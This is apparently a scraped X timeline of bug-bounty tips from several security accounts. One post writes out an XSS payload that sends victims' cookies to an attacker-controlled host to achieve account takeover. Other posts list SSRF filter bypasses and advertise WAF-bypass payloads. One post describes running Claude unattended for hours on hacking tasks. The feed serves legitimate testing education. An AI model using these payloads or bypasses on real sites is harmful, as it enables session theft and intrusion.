Abhishek Meena 🏵️

Building @Vulncure ⚡| Helping founders fix vulnerabilities before hackers find them. Talk to me about: Bug Bounties, LLM Security & React.👇 Book a 15-min Demo

[Abhishek Meena 🏵️ @aacle_]

We've curated entire API Pentesting Series into a single, auto-updating Notion page.

• All existing parts
• Future parts added automatically
• One link to bookmark

Access the full library here: https://t.co/sndMacHPYJ

[PortSwigger Research @PortSwiggerRes]

Upgrade your SSRF, CORS & Open Redirect testing with our new URL Validation Bypass cheat sheet, containing all known techniques! https://t.co/0VKIhaTGTs

[TCM Security @TCMSecurity]

Detecting an XSS (cross-site scripting) vulnerability during an engagement (or while doing bug bounty) can lead to some major results. 💰

But how do you even go about finding an #XSS vuln in the first place? Here's some tips to give you a boost the next time you're testing a web app:

- 𝗧𝗿𝘆 𝗶𝗻𝗷𝗲𝗰𝘁𝗶𝗻𝗴 𝗛𝗧𝗠𝗟 𝗶𝗻𝘀𝘁𝗲𝗮𝗱 𝗼𝗳 𝗝𝗮𝘃𝗮𝗦𝗰𝗿𝗶𝗽𝘁
- 𝗠𝗮𝗸𝗲 𝘀𝘂𝗿𝗲 𝗘𝗩𝗘𝗥𝗬𝗧𝗛𝗜𝗡𝗚 𝗶𝘀 𝗲𝘀𝗰𝗮𝗽𝗲𝗱, 𝗻𝗼𝘁 𝗷𝘂𝘀𝘁 𝘀𝗽𝗲𝗰𝗶𝗳𝗶𝗰 𝗰𝗵𝗮𝗿𝗮𝗰𝘁𝗲𝗿𝘀
- 𝗙𝗶𝗻𝗮𝗹𝗹𝘆, 𝘀𝘁𝗼𝗽 𝘂𝘀𝗶𝗻𝗴 𝘁𝗵𝗲 𝗰𝗼𝗺𝗺𝗼𝗻 𝗽𝗮𝘆𝗹𝗼𝗮𝗱 𝗮𝗹𝗲𝗿𝘁(𝟭)

Become a better web app pentester with one of the several TCM Security web app certs, like the beginner-friendly PWPA (Practical Web Pentest Associate): https://t.co/7hFBUfEtck

[Jayesh Madnani @Jayesh25]

Retweeting as previous post got shadow banned.

Bug Bounty Tips: Here's how you can escalate XSS Issues to ATO💸

Have you Identified a XSS Issue? Don't be too quick to report it with alert(1) or alert(document.cookie) for a Medium payout.

Here's how you can escalate XSS Issues to an ATO for much higher bounties:

1️⃣Always try Exfiltrating session based cookies to your controlled server. Here's a simple payload you can use to demonstrate ATO: "><img src="x" onerror="document.location.href='https://yoursitesite(.)com?cookies=' + document.cookie + ''">
This payload exfiltrates user cookies and forwards them to your site. Create a Proof of Concept (PoC) video showing how these cookies can be used to takeover a user's session e.g. send a request to any authenticated API and demonstrate that the cookies work.
2️⃣If cookies are set as HTTPOnly, try escalating the Impact by performing sensitive client-side actions, such as changing a user's email address or password leading to ATO
3️⃣If sensitive client-side actions aren't possible, check for leaked session cookies or tokens in the server's responses on all pages. Use your XSS payload to exfiltrate these to your controlled server to get an ATO
4️⃣If no session cookies or tokens are found on any pages, check the browser's local storage for stored session tokens and accordingly craft your XSS payload to exfiltrate these to your server leading to an ATO.

🚀Lesson: Always look for ways to escalate XSS Issues to ATO as this could potentially boost the bounty amount for that report by 2-10x! 💡 #BugBounty #InfoSec #Cybersecurity #BugBountyTips #HackerOne #BugCrowd #SecurityTips

[Abhishek Meena 🏵️ @aacle_]

Bug bounty tip: hunt assumptions, not only endpoints.

Map roles, state changes, and trust boundaries. Then test:
• IDOR across roles
• expired invite links
• coupon/credit race conditions
• file upload metadata leaks

Logic bugs usually hide where flows meet.

[Abhishek Meena 🏵️ @aacle_]

Then hunt only that class for a week.
Depth beats random recon.

[Abhishek Meena 🏵️ @aacle_]

Most beginners jump between tools too fast.
Better workflow:

Pick one bug class for 7 days.
Example: IDOR.

Study:
- PortSwigger labs
- disclosed IDOR reports
- API object patterns
- access-control mistakes
- real app flows

1/2

[Abhishek Meena 🏵️ @aacle_]

Payloads help later.
Understanding why the bug exists helps first.

[Abhishek Meena 🏵️ @aacle_]

If you are learning bug bounty, do not start with random payload lists.

Start here:
1. PortSwigger Web Security Academy
2. OWASP Testing Guide
3. HackerOne disclosed reports
4. Bugcrowd University
5. Real target recon notes
6. Your own vulnerability journal

[Abhishek Meena 🏵️ @aacle_]

In fintech, it can affect:

→ user trust
→ money movement
→ audit readiness
→ customer confidence
→ partner approvals

@Vulncure is my attempt to turn that security thinking into a practical workflow for startups.

[Abhishek Meena 🏵️ @aacle_]

Bug bounty people understand something many founders miss:

Small logic flaws can become big business problems.
A missing authorization check is not just a “medium severity bug.”

1/2

[Abhishek Meena 🏵️ @aacle_]

3. 🔗 Open Redirects: Chain the SSRF parameter through a trusted redirector.

These simple checks routinely bypass basic validation patterns. 🎯

What is your go-to payload when testing restricted API endpoints?

3/3

[Abhishek Meena 🏵️ @aacle_]

Most automated scanners miss SSRF because they fail to bypass modern WAF configurations. 🛡️

Here is a quick 3-step checklist to test when you hit a firewall:

1/3

[Abhishek Meena 🏵️ @aacle_]

1. 🌐 DNS Rebinding: Resolve target host to public IP, then trigger a 302 redirect to 127.0.0.1.

2. 🔌 IPv6 representations: Try using [::] or [0:0:0:0:0:ffff:127.0.0.1] instead of localhost.

2/3

[Abhishek Meena 🏵️ @aacle_]

Most hunters send a poisoned header, don’t see reflection, and stop testing.
That’s the real mistake.

Headers can silently affect:

↣ reset links
↣ emails
↣ asset URLs
↣ API responses
↣ redirects

Skip the HTML obsession.
Check network calls, redirects, and email flows

[TheOuts1derX @TheOuts1derX]

WAF Bypass Cheat Sheet

Cloudflare, Akamai, AWS WAF, ModSecurity, Imperva, F5 BIG-IP, Sucuri, Wordfence, Azure WAF, FortiWeb, Barracuda

Detection tips + XSS, SQLi, RCE, SSRF and Path Traversal bypasses for each one

Full database with 150+ payloads inside Bug Bounty Center → https://t.co/iP2Vdar8Tk

Try it free for 30 days

#BugBounty #BugBountyTips #WAF #WebSec #AppSec #Cybersecurity

[TheOuts1derX @TheOuts1derX]

GitHub repos for bug bounty hunters:

1. https://t.co/tiVuKOZiMJ
2. https://t.co/rXVnH8A4M7
3. https://t.co/qsNefMh7ca
4. https://t.co/wBw9INq4C0
5. https://t.co/qQUxXtm6Wl
6. https://t.co/Uy8DYZmotk
7. https://t.co/uNJIJMb09G
8. https://t.co/mBG8g4kOAH
9. https://t.co/u3tvgRGI82
10. https://t.co/XPeD7l69tL
11. https://t.co/7rxOE4mn3H
12. https://t.co/vncIFEpoaH
13. https://t.co/azotc3cWAp
14. https://t.co/s0WXLdKYrz
15. https://t.co/KF4E9xKbPU
16. https://t.co/T25lwIcmO3
17. https://t.co/7zNTRGndJw
18. https://t.co/8vrqvBWsh3
19. https://t.co/HU8KTOelUK
20. https://t.co/kaE4hX3Qhl
21. https://t.co/UT8FZGxhzF
22. https://t.co/LEuw8peVII
23. https://t.co/aqaHFL34Hn
24. https://t.co/ss0soKwgVa
25. https://t.co/GZmT8SHGzI
26. https://t.co/JWJUNJoGxk
27. https://t.co/hne7nBtgHo
28. https://t.co/RKtjSar9Be
29. https://t.co/AFNt3oGGO0
30. https://t.co/TH6XbMrad8
31. https://t.co/kcSNdd4aMF

Drop the ones I'm missing or the ones you find most useful in your hunting workflow.

#BugBounty #BugBountyTips #WebSec

[Abhishek Meena 🏵️ @aacle_]

https://t.co/afJzzxyNRw

[Yasho @YShahinzadeh]

JS reading &gt; IDOR &gt; internal Google data leakage :]

[Critical Thinking - Bug Bounty Podcast @ctbbpodcast]

Tell Claude "I'm going to bed, don't ask me any questions, don't stop hacking" so it will run for hours.
But before you try it:

1. Cap sub-agents at 2~3. If it spins way too many agents the context fills up with no previous message to roll back to, and you're stuck opening a new instance and telling it to go read all the session files to rebuild context.

2. Tell it to keep notes at the start of every session. Compaction rewrites the working memory so anything that isn't in a file gets wiped out. but if it's been writing leads and gadgets to disk the whole time, it picks back up just fine.

To make things more accessible you can build a central API endpoint so leads and gadgets land in one place regardless of where Claude is running, discord bots work well for this too.
Give Claude a few of your best written reports as reference and tell it to stay concise, technical, and dry so it doesn't add any extra stuff that may not matter. Give it the exact fields you want filled every time and **always proofread by following the reproduction steps** yourself.

[Jasmin Landry @JR0ch17]

Never thought I'd be leaking Oauth codes through Excel, but here I am 😂